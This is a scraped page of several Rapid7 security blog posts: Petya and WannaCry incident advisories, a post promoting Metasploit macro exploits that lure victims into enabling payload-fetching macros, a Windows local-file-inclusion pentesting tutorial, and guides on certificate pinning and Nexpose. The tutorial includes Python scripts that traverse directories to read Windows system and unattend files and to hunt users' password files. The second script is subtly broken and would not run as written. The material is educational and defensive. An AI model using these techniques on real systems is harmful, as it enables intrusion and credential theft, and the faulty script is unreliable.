Rapid7 Blog

Windows  

Petya-like Ransomware Explained

TL;DR summary (7:40 PM EDT June 28): A major ransomware attack started in Ukraine yesterday and has spread around the world. The ransomware, which was initially thought to be a modified Petya variant, encrypts files on infected machines and uses multiple mechanisms to…

TL;DR summary (7:40 PM EDT June 28): A major ransomware attack started in Ukraine yesterday and has spread around the world. The ransomware, which was initially thought to be a modified Petya variant, encrypts files on infected machines and uses multiple mechanisms to both gain entry to target networks and to spread laterally. Several research teams are reporting that once victims' disks are encrypted, they cannot be decrypted. For this reason, there's dissent on whether the Petya-like attack should be called ransomware at all. Whatever you call it, our advice is the same: Back up, patch against MS17-010 vulnerabilities (mitigation against internal spread), and block TCP/445 traffic.Don’t pay the ransom, since decryption by the attacker is impossible. Read on for further information on infection vectors, IOCs, and additional Rapid7 resources. In the early morning hours of June 27, 2017, UTC 3 time, ransomware that appears to be an updated variant belonging to the Petya family surfaced in Eastern Europe (read a sample summary here). Incident detection and response professionals around the world immediately started connecting this Petya-like ransomware with the same EternalBlue exploits used by the WannaCry ransomware. Since the attack was so widespread, collecting a sample was pretty straightforward, and Rapid7's incident response team is currently analyzing what is actually going on here. This blog post will be updated throughout the day with what we know about the ransomware, as well as what Rapid7 customers can do to prevent, detect, and respond to it. In the meantime, organizations are strongly advised to take the following actions: Ensure that all Windows systems have been patched against MS17-010 vulnerabilities. Employ network and host-based firewalls to block TCP/445 traffic from untrusted systems. If possible, block 445 inbound to all internet-facing Windows systems. Ensure critical systems and files have up-to-date backups. Backups are the only full mitigation against data loss due to ransomware. Rapid7 has a ransomware resources page available here. For those already hit by this ransomware, our best guidance right now is to work with law enforcement and incident response experts. Our own incident responders are available 24/7 on the hotline: 1-844-RAPID-IR. Unfortunately - though we really hate to say so - the bottom line here is that if you don't have thorough and timely backups, paying the ransom will need to remain an option for you. See 14:30 PM update for details. Update 13:45 PM EDT: We've confirmed that this ransomworm achieves its initial infection via a malicious document attached to a phishing email, requiring a victim to download and open it (update: see the 16:50 text below). After that, it does indeed use the EternalBlue and DoublePulsar exploits to spread laterally. Unlike WannaCry, though, it is currently using these mechanisms to spread only on internal networks. While this is bad news for compromised organizations, the good news is that the spread directly across the internet is rather limited. The worse news is that there is still plenty of SMB on the internet to go after. Here's a map of the exposed SMB we've generated from some fresh Sonar data: Malware rarely stays static for long, so it's only a matter of time before a variant of this malware is released that uses SMB to spread directly across the internet, just like WannaCry. Update 14:30 PM EDT: Victims of this attack are directed to contact an email address once they've paid the ransom; however, the email account in question has been disabled by the German company that hosts it. Therefore, victims who pay the ransom are reportedly unable to recover their files. More details here. Update 15:30 PM EDT: We've identified the IP addresses 95.141.115.108, 185.165.29.78, 84.200.16.242, and 111.90.139.247 as fine candidates to watch for at your firewall. If you get connection attempts there sources from your internal network, either someone is infected, or someone is monkeying around with live malware samples. Jon Hart goes into more detail on these, and their associated domain names, on this gist. Update 16:50 PM EDT: There have been some reports of Petya-like infections occurring in networks that seemed to lack the initial phishing component. While this might not appear to be possible, there are scenarios where this can seem to happen. First, recall that infected computers actively search their local network for targets vulnerable to the issues addressed in MS17-010. Second, some of these devices are quite mobile, and hop around networks. If my laptop gets popped by this ransomware in my home network at FooCorp, then I take it to my local coffee shop's wifi, and infect someone from BarCom, when that BarCom employee goes back to the office, his incident response people are going to see this race around their network without the phishing email kicking everything off. This is one scenario where the phishing component would not be immediately obvious. There may be more to this malware, though, and our own IR engineers are still running through static and dynamic analysis, so we may have more on how this thing vectors around in the coming hours. Update 18:00 PM EDT: We've confirmed that this ransomware uses a lightly modified version of mimikatz to extract credentials from memory for use in its psexec and WMI vectors for spreading. Mimikatz is a widely-used open source security tool used primarily by security researchers to understand how credential handling is performed in Windows environments. (Thanks, Tim and Mike!) Update 20:15 EDT: For Rapid7 customers, you should be aware that we've already pushed the unique Indicators of Compromise (IOCs) out to all our InsightIDR users, and we've just published a handy HOWTO for InsightVM folks on scanning for MS17-010, which hits the exploit vector being leveraged in this attack. In the meantime, this is a fine time to review your own backup and restore capabilities -- especially the restore part. It seems unlikely we'll have any more updates through the night, but we're still pursuing analysis work. Once we learn anything new, we'll be updating here.

Wanna Decryptor (WNCRY) Ransomware Explained

Mark the date: May 12, 2017. This is the day the “ransomworm” dubbed “WannaCry” / “Wannacrypt” burst — literally — onto the scene with one of the initial targets being the British National Health Service. According to The Guardian: the “unprecedented attack… affected 12 countries and at least…

Mark the date: May 12, 2017. This is the day the “ransomworm” dubbed “WannaCry” / “Wannacrypt” burst — literally — onto the scene with one of the initial targets being the British National Health Service. According to The Guardian: the “unprecedented attack… affected 12 countries and at least 16 NHS trusts in the UK, compromising IT systems that underpin patient safety. Staff across the NHS were locked out of their computers and trusts had to divert emergency patients.” A larger estimate by various cybersecurity firms indicates that over 70 countries have been impacted in some way by the WannaCry worm. As of this post's creation time, a group with the Twitter handle @0xSpamTech has claimed responsibility for instigating the attack but this has not yet been confirmed. What is involved in the attack, what weakness(es) and systems does it exploit, and what can you do to prevent or recover from this attack? The following sections will dive into the details and provide guidance on how to mitigate the impact from future attacks. What is "Ransomware"? Ransomware "malicious software which covertly encrypts your files – preventing you from accessing them – then demands payment for their safe recovery. Like most tactics employed in cyberattacks, ransomware attacks can occur after      clicking on a phishing link or visiting a compromised website.” (https://www.rapid7.com/solutions/ransomware/) However, WannaCry ransomware deviates from the traditional ransomware definition by including a component that is able to find vulnerable systems on a local network and spread that way as well. This type of malicious software behavior is called a “worm” and the use of such capabilities dates back to 1988 when the Morris Worm spread across the internet (albeit a much smaller neighborhood at the time). Because WannaCry combines two extremely destructive capabilities, it has been far more disruptive and destructive than previous cases of ransomware that we've seen over the past 18-24 months. While the attackers are seeking ransom — you can track payments to their Bitcoin addresses: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 here: https://blockchain.info/address/ — there have been reports of this also corrupting drives, adding a destructive component as well as a ransom-recovery component to the attack. What Systems Are Impacted? WannaCry only targets Microsoft Windows systems and is known to impact the following versions: Microsoft Windows Vista SP2 Windows Server 2008 SP2 and R2 SP1 Windows 7 Windows 8.1 Windows RT 8.1 Windows Server 2012 and R2 Windows 10 Windows Server 2016 Windows XP However, all versions of Windows are likely vulnerable and on May 13, 2017 Microsoft issued a notification that included links to patches for all impacted Windows operating systems — including Windows XP. As noted, Windows XP is impacted as well. That version of Windows still occupies a 7-10% share of usage (as measured by NetMarketshare): and, this usage figure likely does not include endpoint counts from countries like China, who have significant use of “aftermarket” versions of Windows XP and other Windows systems, making them unpatchable. The “worm” component takes advantage of a Remote Code Execution (RCE) vulnerability that is present in the part of Windows that makes it possible to share files over the network (known as “Server Message Block” or SMB). Microsoft released a patch -MS17-010 - for this vulnerability on March 14th, 2017 prior to the release of U.S. National Security Agency (NSA) tools (EternalBlue / DoublePulsar) by a group known as the the Shadow Brokers. Rapid7's Threat Intelligence Lead, Rebekah Brown, wrote a breakdown of this release in a blog post in April. Vulnerability detection tools, such as Rapid7's Metasploit, have had detection capabilities for this weakness for a while, with the most recent Metasploit module being updated on April 30, 2017. This ransomworm can be spread by someone being on public Wi-Fi or an infected firm's “guest” WiFi and then taking an infected-but-not-fully-encrypted system to another network. WannaCry is likely being spread, still, by both the traditional phishing vector as well as this network worm vector. What Can You Do? Ensure that all systems have been patched against MS17-010 vulnerabilities. Identify any internet-facing systems that have not been patched and remediate as soon as possible. Employ network and host-based firewalls to block TCP/445 traffic from untrusted systems. If possible, block 445 inbound to all internet-facing Windows systems. Ensure critical systems and files have up-to-date backups. Backups are the only full mitigation against data loss due to ransomware. NOTE: The Rapid7 Managed Detection & Response (MDR) SOC has developed detection indicators of compromise (IOCs) for this campaign, however we are only alerted once the malware executes on a compromised system. This is not a mitigation step. UPDATE - May 15, 2017: For information on how to scan for, and remediate, MS17-010 with Nexpose and InsightVM, please read this blog. A Potentially Broader Impact We perform regular SMB scans as a part of Project Sonar and detected over 1.8 million devices responding to full SMB connection in our May 3, 2017 scan: Some percentage of these systems may be Linux/UNIX servers emulating the SMB protocol but it's likely that a large portion are Windows systems. Leaving SMB (via TCP port 445) open to the internet is also a sign that these systems are not well maintained, and are also susceptible to attack. Rapid7's Heisenberg Cloud — a system of honeypots spread throughout the internet — has seen a recent spike in probes for systems on port 445 as well: Living With Ransomware Ransomware has proven to be an attractive and lucrative vector for cybercriminals. As stated previously, backups, along with the ability to quickly re-provision/image an impacted system, are your only real defenses. Rapid7 has additional resources available for you to learn more about dealing with ransomware: Understanding Ransomware: https://www.rapid7.com/resources/understanding-ransomware/ Ransomware FAQ: /2016/03/22/ransomware-faq-av oiding-the-latest-trend-in-malware If you'd like more information on this particular ransomworm as seen by Project Sonar or Heisenberg Cloud, please contact research [at] rapid7 [dot] com. Many thanks to the many contributors across Rapid7 who provided vital information and content for this post. For more information and resources on WannaCry and ransomware, please visit this page.

Attacking Microsoft Office - OpenOffice with Metasploit Macro Exploits

It is fair to say that Microsoft Office and OpenOffice are some of the most popular applications in the world. We use them for writing papers, making slides for presentations, analyzing sales or financial data, and more. This software is so important to businesses that,…

It is fair to say that Microsoft Office and OpenOffice are some of the most popular applications in the world. We use them for writing papers, making slides for presentations, analyzing sales or financial data, and more. This software is so important to businesses that, even in developing countries, workers that are proficient in an Office suite can make a decent living based on this skill alone. Unfortunately, high popularity for software also means more high-value targets in the eyes of an attacker, and malware-infested Office macros are like an irritating rash that doesn't go away for IT professionals. A macro is a feature that allows users to create automated processes inside of a document used by software like Microsoft Word, Excel, or PowerPoint. This is used to enhance user experience, increase productivity, or automate otherwise manual tasks. But, in other words, it executes code. What kind of code? Well, pretty much whatever you want, even a Meterpreter session! Macro attacks are nothing new or unusual. A typical attack usually involves embedding malicious macro code in an Office document, sending it to the victim, and asking him or her very nicely to enable that code. The saddest part isn't how lame the attack is, since you are basically begging the victim to run your malware. It's that people have been falling for this trick for decades! The impact of such attacks should not be underestimated. In fact, malicious macros are often used in ransomware, and other high-profile breaches. For example, the Cerber Ransomware was a macro attack against Office 365 that put millions of users at risk. Since Office 365 is extremely popular in businesses, we expect it to be one of malicious macros' favorite audiences for quite some time. Yup, I think people call that social-engineering, and apparently it always works. I figured: "ok, why not, a shell is a shell. Let me write some exploits for these"... and that's how Metasploit's macro exploits were born: The Microsoft Office Macro Exploit This Microsoft Office macro exploit is specifically written for the Word document format. It has been tested against these environments: Microsoft Office 2010 for Windows Microsoft Office 2013 for Windows Microsoft Office 2016 for Windows Microsoft Office Word for Mac OS X 2011 The following demonstrates how to create a macro exploit for Microsoft Office for OS X, setting up a handler, as well as obtaining a session: If you actually have a valid certificate to sign the malicious macro, you can actually apply that by using Microsoft Office to sign it. Having a valid cert will not have the "Enable Content" prompt, Microsoft Office will just execute your code by default. However, this is obviously only ideal for internal use. Good certificates are expensive. The OpenOffice Macro Exploit The Apache OpenOffice macro exploit is specifically written for OpenOffice Writer (odt). It has been tested against these environments: Windows with Powershell support (which should be the case since Windows 7) Ubuntu Linux (which ships LibreOffice by default) OS X Unlike Microsoft, OpenOffice actually does not want to open any documents with macros, which means in order to attack, the victim has to manually do the following in advance: 1. Choose Tools -> Options -> Security 2. Click the Macro Security button 3. Change the security level to either medium to low. If the security level is set to medium, a prompt is presented to the user to either allow or disallow the macro. If set to low, the macro will run without warning. Now let's talk about how to use the exploit. The design for it is actually different than the Microsoft one: not only will it create the malicious document file, the module will also spawn a web server, and a payload handler. The purpose of the web server is when the victim runs the macro, the malicious code will download the final payload from our web server, and execute it. The following demonstrates how to use the exploit: Exploit Customization Although the Metasploit macro exploits work right out of the box, some cosmetic customizations are probably necessary to make the document look more legit and believable. To do this, you will need a copy of either Microsoft Office or OpenOffice (depending on the type of exploit you're using), and then: Generate the exploit Move the exploit to a platform with Office that can edit the document Open the document with Office, do your editing there. When you're done, simply click save. As long as you're not modifying the macro, it should still work Time to Play! Congratulations, young grasshopper! If you've read this far, and have not fallen asleep, then you are ready to start your journey of sweet Office macro pwnage. But before you leave, if you have never used Metasploit - a cyber weapon forged in the fires of um... Austin, Texas - then you shall download it here. If you already possess such power, then we strongly recommend you run msfupdate. Go now, embrace your destiny of pwnage, and let that glory be yours with Metasploit Office macro exploits.

CVE-2017-3823: Remote Code Execution Vulnerability in Cisco WebEx Browser Plugin

On January 21st 2017, Google's Project Zero disclosed a vulnerability in Cisco's WebEx browser plugin extension that could allow attackers to perform a remote code execution (RCE) exploit on any Windows host running the plugin. An initial fix was pushed out by Cisco that warned…

On January 21st 2017, Google's Project Zero disclosed a vulnerability in Cisco's WebEx browser plugin extension that could allow attackers to perform a remote code execution (RCE) exploit on any Windows host running the plugin. An initial fix was pushed out by Cisco that warned a user if they were launching a meeting from a domain other than *.webex.com or *.webex.com.cn, however, the fix was questioned by April King from Mozilla based on the WebEx domain's security audit results from their Observatory project. Cisco released a fix on 26th January 2017 that not only whitelisted the domains where meetings could be launched, but also tightened up the verification mechanisms to calls on DLLs, as observed by Tavis Ormandy at Project Zero, “It looks like they correctly handle Mac and Windows, and have also added some verification on GpcInitCall/GpcExitCall/etc so that functions have to match a RegEx. This looks like a huge improvement.” Full details of the vulnerability disclosure from Cisco can be found here. The following versions of plugins were declared vulnerable: < 1.0.7 on Google Chrome < 106 on Mozilla Firefox < 2.1.0.10 on Internet Explorer Nexpose version 6.4.21 will allow you to detect if you have a vulnerable version of the Cisco WebEx plugin installed on any of your Windows hosts in your network and if you are vulnerable to CVE-2017-3823. As this is an authenticated check, credentials will need to be configured for the scan.

The Twelve Pains of Infosec

One of my favorite Christmas carols is the 12 Days of Christmas. Back in the 90's, a satire of the song came out in the form of the 12 Pains of Christmas, which had me rolling on the floor in laughter, and still does. Now…

One of my favorite Christmas carols is the 12 Days of Christmas. Back in the 90's, a satire of the song came out in the form of the 12 Pains of Christmas, which had me rolling on the floor in laughter, and still does. Now that I am in information security, I decided it is time for a new satire, maybe this will start a new tradition, and so I am presenting, the 12 Pains of Infosec. The first thing in infosec that's such a pain to me is your password policy The second thing in infosec that's such a pain to me is default credentials, and your password policy The third thing in infosec that's such a pain to me is falling for phishing, default credentials, and your password policy The fourth thing in infosec that's such a pain to me is patch management, falling for phishing, default credentials, and your password policy The fifth thing in infosec that's such a pain to me is Windows XP, patch management, falling for phishing, default credentials, and your password policy The sixth thing in infosec that's such a pain to me is Lack of input filtering, Windows XP, patch management, falling for phishing, default credentials, and your password policy The seventh thing in infosec that's such a pain to me is no monitoring, lack of input filtering, Windows XP, patch management, falling for phishing, default credentials, and your password policy The eighth thing in infosec that's such a pain to me is users as local admins, no monitoring, Lack of input filtering, Windows XP, patch management, falling for phishing, default credentials, and your password policy The ninth thing in infosec that's such a pain to me is lack of management support, users as local admins, no monitoring, lack of input filtering, Windows XP, patch management, falling for phishing, default credentials, and your password policy The tenth thing in infosec that's such a pain to me is testing for compliance, lack of management support, users as local admins, no monitoring, lack of input filtering, Windows XP, patch management, falling for phishing, default credentials, and your password policy The eleventh thing in infosec that's such a pain to me is no asset management, testing for compliance, lack of management support, users as local admins, no monitoring, lack of input filtering, Windows XP, patch management, falling for phishing, default credentials, and your password policy The twelfth thing in infosec that's such a pain to me is trust in antivirus, no asset management, testing for compliance, lack of management support, users as local admins, no monitoring, Lack of input filtering, Windows XP, patch management, falling for phishing, default credentials, and your password policy The first thing in infosec that's such a pain to me is your password policy When I go into organizations for penetration tests, one of the easiest ways to get in is through password guessing. Most organizations use a password policy of 8 characters, complexity turned on, and change every 90 days. So, what do the users do? They come up with a simple to remember password that will never repeat. Yes, I am talking about the infamous Winter16 or variations of season and year. If they aren't using that password, then chances are it is something just as simple. Instead, set a longer password requirement (12 characters or more) and blacklist common words, such as password, seasons, months, and company name. The second thing in infosec that's such a pain to me is default credentials The next most common finding I see is the failure to change default credentials. It is such a simple mistake, but one that can cost your organization a ton! This doesn't just go for web apps like JBOSS and Tomcat, but also for embedded devices. Printers and other embedded devices are a great target since the default credentials aren't usually changed. They often hold credentials to other systems to help gain access or simply can be used as a pivot point to attack other systems. The third thing in infosec that's such a pain to me is falling for phishing Malicious actors go for the weakest link. Often this is the users. Sending a carefully crafted phishing email is almost 100% successful. In fact, even many security professionals fall victim to phishing emails. So, what can we do about it? Well, we must train our employees regularly to spot phishing attempts as well as encourage and reward them for alerting security on phishing attempts. Once reported, add the malicious URL to your blacklist, and redirect to a phishing education page. And for goodness sake, Security Department, please disable the links and remove any tags in the email before forwarding off as "education". The fourth thing in infosec that's such a pain to me is patch management There are so many systems out there. It can be hard to patch them all, but having a good patch management process is essential. Ensuring our systems are up to date with the latest patches will help protect those systems from known attacks. It is not just operating system patches that need to be applied, also for any software you have installed. The fifth thing in infosec that's such a pain to me is Windows XP Oh Windows XP, how I love and hate thee. Even though Windows XP support went the way of the dodo back in 2014, over 2.5 years later I still see it being used in corporate environments. While I called out Windows XP, it is not uncommon to see Windows 2000, Windows Server 2003, and other unsupported operating system software. While some of the issues with these operating systems have been mitigated, such as MS08_067, many places have not applied the patches or taken the mitigation tactics. That is not to mention what unknown security vulnerabilities that exist and will never be patched. Your best bet is to upgrade to a supported operating system. If you cannot for some reason (required software will not run on newer operating systems), segregate the network to prevent access to the unsupported systems. The sixth thing in infosec that's such a pain to me is lack of input filtering We all know and love the OWASP Top 10. Three of the top 10 is included in this pain. Cross-Site Scripting (XSS), SQL Injection (SQLi), HTML Injection, Command Injection, and HTML Redirects are all vulnerabilities that can be solved fully, or at least partially in the case with XSS, with input filtering. Web applications that perform input filtering will remove bad characters, allow only good characters, and perform the input filtering not at the client-side, but at the server-side. Then using output encoding/filtering, XSS is remediated as well. The seventh thing in infosec that's such a pain to me is no monitoring In 1974, Muhammad Ali said “His hands can't hit what his eyes can't see” referring to his upcoming fight with George Foreman. This quote bodes true in Infosec as well. You cannot defend what you cannot see. If you are not performing monitoring in your network, and centralized monitoring so you can collaborate the logs, you will miss attacks. As Dr. Eric Cole says “Prevention is ideal, but detection is critical.” This is also critical to REVIEW the logs, meaning you will need good people that know what they are looking for, not just good monitoring software. The eighth thing in infosec that's such a pain to me is users as local admins Though for years we have been suggesting to segregate user privileges, yet almost every penetration test I perform I find this to be an issue. Limiting use of accounts to only what is needed to do their job is very hard, but essential to secure your environment. This means not giving local administrator privileges to all users but also using separate accounts for managing the domain, limiting the number of privileged accounts, and monitoring the use of these accounts and group memberships. The ninth thing in infosec that's such a pain to me is lack of management support How often do I run into people who want to make a change or changes in their network, yet they do not get the support needed from upper management? A LOT! Sometimes an eye-opening penetration test works wonders. The tenth thing in infosec that's such a pain to me is testing for compliance I get it, certain industries require specific guidelines to show adequate security is in place, but when you test only for compliance sake, you are doing a disservice to your organization. When you attempt to limit the scope of the testing or firewall off the systems during the test, you are pulling a blinder over your eyes, and cannot hope to secure your data. Instead, use the need for testing to meet compliance a way to get more management support and enact real change in the organization. The eleventh thing in infosec that's such a pain to me is no asset management You can't protect what you don't know about. In this regard, employ an asset management system. Know what devices you have and where they are located. Know what software you have, and what patch levels they are at. I can't tell you how many times I have exploited a system and my customer says “What is that? I don't think that is ours”, only to find out that it was their system, they just didn't have good asset management in place. The twelfth thing in infosec that's such a pain to me is trust in antivirus A few years ago, I read that antivirus software was only about 30% effective, leading to headlines about the death of antivirus, yet it still is around. Does that mean it is effective in stopping infections on your computer? No. I am often asked “What is the best antivirus I should get for my computer?” My answer is usually to grab a free antivirus like Microsoft Security Essentials, but be careful where you surf on the internet and what you click on. Antivirus will catch the known threats, so I believe it still has some merit, especially on home computers for relatives who do not know better, but the best protection is being careful. Turn on “click to play” for Flash and Java (if you can't remove Java). Be careful what you click on. Turn on an ad blocker. There is no single “silver bullet” in security that is going to save you. It is a layering of technologies and awareness that will. I hope you enjoyed the song, and who knows, maybe someone will record a video singing it! (not me!) Whatever holiday you celebrate this season, have a great one. Here's to a more secure 2017 so I don't have to write a new song next year. Maybe “I'm dreaming of a secure IoT” would be appropriate.

Pentesting in the Real World: Local File Inclusion with Windows Server Files

This is the 5th in a series of blog topics by penetration testers, for penetration testers, highlighting some of the advanced pentesting techniques they'll be teaching in our new Network Assault and Application Assault certifications, opening for registration this week. For more information, check out…

This is the 5th in a series of blog topics by penetration testers, for penetration testers, highlighting some of the advanced pentesting techniques they'll be teaching in our new Network Assault and Application Assault certifications, opening for registration this week. For more information, check out the training page at www.rapid7.com/services/training-certification/penetration-testing-training.jsp First things first, I think it's important to define this topic. Per OWASP, "Local File Inclusion (LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application." Taking a look at that definition, what does it really mean? Essentially, it states that through some means someone may be able to access files on your local system through your application. Very often when talking about LFI you are talking about utilizing Directory Traversal (‘../') to move up from the WebRoot directory to access local files. In many different examples throughout the web you will see articles discussing LFI in regards to accessing files within Linux, such as accessing ‘/etc/passwd,' or log files within ‘/var/log,' or a user's Bash history ‘/home/[USERNAME]/.bash_history.' An example of accessing /etc/passwd within a web application is shown in Figure 1.   Figure 1: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabi lities/ However, it isn't very often that you see any articles or blog posts that discuss files to access within Windows in the case that a LFI vulnerability is discovered within an application on a Windows Server.  This blog post will discuss potential files to access on a Windows Server. On Windows a very common file that a penetration tester might attempt to access to verify LFI is the hosts file, WINDOWS\System32\drivers\etc\hosts. This will generally be the first file someone tries to access to initially ensure they have read access to the filesystem. From this initial read access there are a number of places that someone might go within the filesystem to retrieve files; in fact there are a number of great blog posts and articles available that discuss potential files to then access. However, another great area to look for interesting files is within a user's directory. A great way to enumerate users with LFI is to look for the desktop.ini file. With LFI, when discovering the desktop.ini file for a user's account, which will be located at (in newer versions of Windows) C:\Users[USERNAME]\Desktop\desktop.ini, you can begin attempting to discover potential files that could be contained within their Desktop or Documents folder as users often store sensitive information within these folders. Based on all of this, what are some simple ways to attempt to discover LFI within a web application? A quick Python script can allow for the testing of LFI. First, a quick example script to test for the ability to read some common Windows files within an example web application, in this case ‘www.testpage.com' which has a parameter named ‘page' that allows for LFI. In this case, you could have the following script with the use of the ‘Requests' and ‘Webbrowser' Python libraries: import requests import webbrowser url = 'http://www.testpage.com?page=' LFI = '../../../../../../../../../' pages = ['WINDOWS/system32/drivers/etc/hosts', 'WINDOWS/system32/win.ini', 'WINDOWS/system32/debug/NetSetup.log', 'WINDOWS/system32/config/AppEvent.Evt', 'WINDOWS/system32/config/SecEvent.Evt', 'WINDOWS/Panther/unattend.txt', 'WINDOWS/Panther/unattend.xml', 'WINDOWS/Panther/unattended.xml', 'WINDOWS/Panther/sysprep.inf'] for x in pages: check = requests.get(url + LFI + x) if check.status_code == 200: webbrowser.open(url + LFI + x) In the above example, we are attempting to make the request to verify the HTTP response code of 200 to see if when we access the file within the web application that it is returned (i.e. that it exists). Then, with the use of the ‘Webbrowser' library we can open the page to download the file within our web browser to open it with your favorite text editor easily.  Note, there may be situations that this simple of a script may not be the best option, specifically those areas where all requests return a 200 for the page and you are testing a large list of potential files. In those cases each request will open in the browser and if a file is reachable it will either display within the browser or be available to review within your text editor. Granted, there are many ways to accomplish this task with Python, but this is one of my favorites. The following shows another Python script to attempt to enumerate usernames by locating paths that return a ‘desktop.ini' file as discussed earlier, then when a username is verified on the server you can attempt to find potential files that may contain sensitive information stored on the user's Desktop on the server. import requests import webbrowser url = 'http://www.testpage.com?page=' LFI = '../../../../../../../../../' usernames = ['bob.jones', 'tom.johnson', 'mary.thomas', 'bill.smith'] desktopini = '/Desktop/desktop.ini' usersfiles = ['accounts.txt', 'passwords.doc', 'configs.txt', 'sensitiveinfo.doc'] for x in usernames: check = requests.get(url + LFI + x + desktopini) if check.status_code == 200: print(‘User ’ + x + ‘was found’) desktopsearch = requests.get(url + LFI + '/Desktop/' + usersfiles) if desktopsearch.status_code == 200: webbrowser.open(url + LFI + '/Desktop/' + usersfiles) These example scripts are essentially trivial examples, but they provide enough to get you started to begin searching for LFI with Windows and gets you started in beginning to find information that could be very useful for Penetration Tests. Want to learn more techniques for application and network penetration testing? Go back and read the other blogs in our “Pentesting in the Real World” series and sign up for our new Network Assault and Application Assault courses!

Revoking and Pinning Certificate Authorities in Windows

Situations come up relatively frequently where a specific certificate authority, trusted by browsers and operating systems, acts in a way that the users of those products would consider untrustworthy.In the enterprise, with services exposed to the Internet and employees traveling, working from Wi-Fi and…

Situations come up relatively frequently where a specific certificate authority, trusted by browsers and operating systems, acts in a way that the users of those products would consider untrustworthy.In the enterprise, with services exposed to the Internet and employees traveling, working from Wi-Fi and other insecure connections, this is also a very important issue, as the use of some of these less than tasteful certificates could lead to data (and credential!) interception.Fortunately, if you manage Windows systems, you can not only configure the list of trusted authorities, but you can also pin the appropriate one for each service you use.Untrusting Certificate Authorities on Windows via GPOFilippo Valsorda, from Cloudflare, discovered and disclosed that Symantec had created an intermediate certificate authority (CA) for Blue Coat, a company that provides network devices with the ability to inspect SSL/TLS.While there are legitimate uses to these features in the enterprise, such a CA could allow anyone using it to intercept encrypted traffic. This is not the first time, and will probably not be the last time something like this happens, so being ready to revoke certificate authorities is an ability enterprises must have.Filippo also posted a great tutorial on how to revoke it on OS X and now links to Windows instructions but this article also covers pinning and goes into a bit more detail.In this post, we will look at doing it on Windows, in an Active Directory environment.Whitelist Versus BlacklistWindows does allow you to fully configure certificate authorities, which would be ideal from a security perspective, to keep full control of the approved authorities, but which would result in a whitelist approach, requiring additional management effort as it involves replacing the certificates on all systems via GPO, which could risk breaking custom certificates installed for legitimate purposes. This should be a longer term goal, but a blacklist approach can still be used right away.In this case, start by downloading the certificate you want to block as a .crt file.Create A Group Policy Object (GPO)You could use an existing GPO, or create a new one. The important thing to consider is that this will be a computer policy, that should be linked to the OUs where your workstations are located. As with any GPO changes, it is highly recommended to first link and filter this policy to specific testing workstations, considering a mistake could end up breaking SSL/TLS connectivity on workstations.Edit the GPO, and under Computer Configuration/Windows Settings/Security Settings/Public Key Policies/Untrusted Certificates, right click in the right pane to get the Import option.The first wizard screen has greyed out options, as we are modifying a GPO. On the second one, simply browse to the CRT you downloaded. Ensure the imported certificate gets placed in Untrusted Certificates. At this point, your GPO should look like this, and is ready to block this certificate from the Windows store on all machines where it is deployed.Pinning Certificate Authorities Via GPORevoking known bad certificates is one thing, but a very reliable way to ensure bad certificates have no impact on corporate services is to pin those. Pinning essentially configures the client device to only accept known good values for pre-configured SSL/TLS communications.Pinning can be done very granularly, at the certificate/public key level, which would require a lot of management, but it can also be done at the certificate authority level, which is much easier to manage.This would allow us to configure systems to only expect, for example, that communications to the Rapid7 website should use GoDaddy certificates.By applying this to the services used by traveling employees, you can ensure that captive portals, hotel and plane Wi-Fi environments or even malicious attacks at the ISP levels would require forging a certificate of that very specific authority, and would prevent the use of another illegitimate yet trusted certificate.Deploy EMETDeployment of EMET has already been covered in our whiteboard Wednesdays briefly, and Microsoft includes great information about it with the installer. EMET must be deployed to the workstations where you wish to pin certificates, and while other EMET mitigations are great for security, they are not covered in this post, where we will focus only on certificate management.Create A GPO For EMETAgain, a policy that applies to the appropriate computer objects must be created.EMET itself comes with the appropriate files to create GPOs, located under Program Files\EMET\Deployment\Group Policy Files. 1. Copy the ADMX to <SystemDrive>\Windows\PolicyDefinitions2. Copy the ADML to  <SystemDrive>\Windows\PolicyDefinitions\en-US folder3. Re-open the GPO Management Console4. You now have a new set of GPO options available under Computer Configuration\Administrative Template\Windows Components\EMET5. Enable Certificate Pinning Configuration.6. In Pinned Sites, list all URLs you want to protect, as well as the name of the rule we will create.7. In Pinning Rules, use the same rule name, then list the thumbprints (SHA-1) of the certificates to accept, or of their authorities. These rules can get very granular, include expiration dates and more - please read the examples provided by Microsoft if you would like to use such advanced rules. Using the EMET GUI, when starting, can allow you to see the types of rules that can be created with more ease than editing those relatively unfriendly GPOs.8. In our example, I configure www.rapid7.com to only trusted a SHA-1 thumbprint of OBVIOUSLYNOTAREALTHUMBPRINT. We configured this to be a blocking rule, that expires on Christmas 2020.9. If you run the EMET GUI on a system where the GPO is applied, you'll see the new rule being applied, denoted by the icon showing it is coming from a GPO.10. If we now browse to Rapid7's website, we get a certificate warning, since the real certificate does not match the fake thumbprint. This is what would happen if a trusted but illegitimate certificate was at play in a man-in-the-middle-attack.11. EMET logs an error to the Event Log, which you should absolutely detect and investigate.12. Repeat this for all important services you use, such as webmail, single sign-on portals, reverse proxies, SaaS providers. Additional protection for social network accounts can also be achieved this way.Warning: Edge does not seem to support this feature yet. You should also look into configuring any alternate browsers in use with similar rules, to obtain better coverage. Again, this is the type of change that should be tested very well before being pushed to a significant amount of workstations, but once done, you will have significantly reduced the chances of a man-in-the-middle attack, and augmented the odds of detecting them.Enjoy your new GPOs!

Nexpose Remote Registry Activation for Windows

The Windows Registry is a database which stores all settings for a Windows system, e.g. hardware, software installed, Windows updates installed and preferences for users and their applications.  During normal day to day use a standard user will inadvertently push changes into this database…

The Windows Registry is a database which stores all settings for a Windows system, e.g. hardware, software installed, Windows updates installed and preferences for users and their applications.  During normal day to day use a standard user will inadvertently push changes into this database when they update the system, add/remove applications and so on. Remote Registry is a Windows service which allows a non-local user to read or make changes to the registry on your Windows system when they are authorized to do so.  Yes; you read that right - when enabled this service give a remote user complete access to your Windows Registry.  However this isn't as scary as it sounds, given that the remote user has to authenticate with the system and be authorized to read and make changes to the registry.  This serves as a powerful tool for system administrators managing large numbers of Windows systems. From Nexpose 6.1.7  users can configure a scan template to temporarily enable Remote Registry on all Windows devices as they are being scanned.  This allows information to be retrieved from the registry and means Nexpose can collect more accurate data from the assets. In the Nexpose site configuration a user will need to add credentials which have appropriate permissions on the target systems to read from the registry.  Once the scan is complete the Remote Registry service will be returned to it's prior state. Why is this useful?  The Windows Registry holds all sorts of interesting information, which can't be accessed normally - even when using a credentialed scan.  As 